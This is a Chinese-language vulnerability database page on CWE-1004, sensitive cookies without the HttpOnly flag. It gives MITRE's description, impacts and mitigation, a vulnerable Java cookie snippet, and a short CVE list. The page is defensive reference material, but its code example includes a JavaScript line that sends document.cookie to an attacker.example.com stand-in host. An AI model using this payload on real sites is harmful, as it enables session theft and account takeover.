目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CWE-1004 没有’HttpOnly’标志的敏感Cookie 类漏洞列表 32

CWE-1004 没有’HttpOnly’标志的敏感Cookie 类弱点 32 条 CVE 漏洞汇总,含 AI 中文分析。

CWE-1004 属于敏感信息泄露类漏洞,指应用程序在存储敏感数据的 Cookie 中未设置 HttpOnly 标志。攻击者常利用跨站脚本(XSS)漏洞窃取该 Cookie,从而获取会话令牌或敏感凭证,进而接管用户账户。开发者应在生成 Cookie 时显式启用 HttpOnly 属性,禁止客户端脚本访问,并结合 Secure 和 SameSite 属性,以有效防止敏感数据被恶意脚本读取或滥用。

MITRE CWE 官方描述
CWE:CWE-1004 未设置 'HttpOnly' 标志的敏感 Cookie 英文:产品使用 Cookie 来存储敏感信息,但该 Cookie 未标记 HttpOnly 标志。
常见影响 (2)
Confidentiality Read Application Data
If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.
Integrity Gain Privileges or Assume Identity
If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.
缓解措施 (1)
Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Effectiveness: High
代码示例 (1)
In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.
String sessionID = generateSessionId(); Cookie c = new Cookie("session_id", sessionID); response.addCookie(c);
Bad · Java
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
Attack · JavaScript
CVE ID 标题 CVSS 风险等级 Published
CVE-2020-6267 SAP Disclosure Management 跨站脚本漏洞 — SAP Disclosure Management 6.5 - 2020-07-14
CVE-2019-8283 Gemalto Admin Control Center 信息泄露漏洞 — Sentinel LDK RTE 6.5 - 2019-06-07

CWE-1004(没有’HttpOnly’标志的敏感Cookie) 是常见的弱点类别,本平台收录该类弱点关联的 32 条 CVE 漏洞。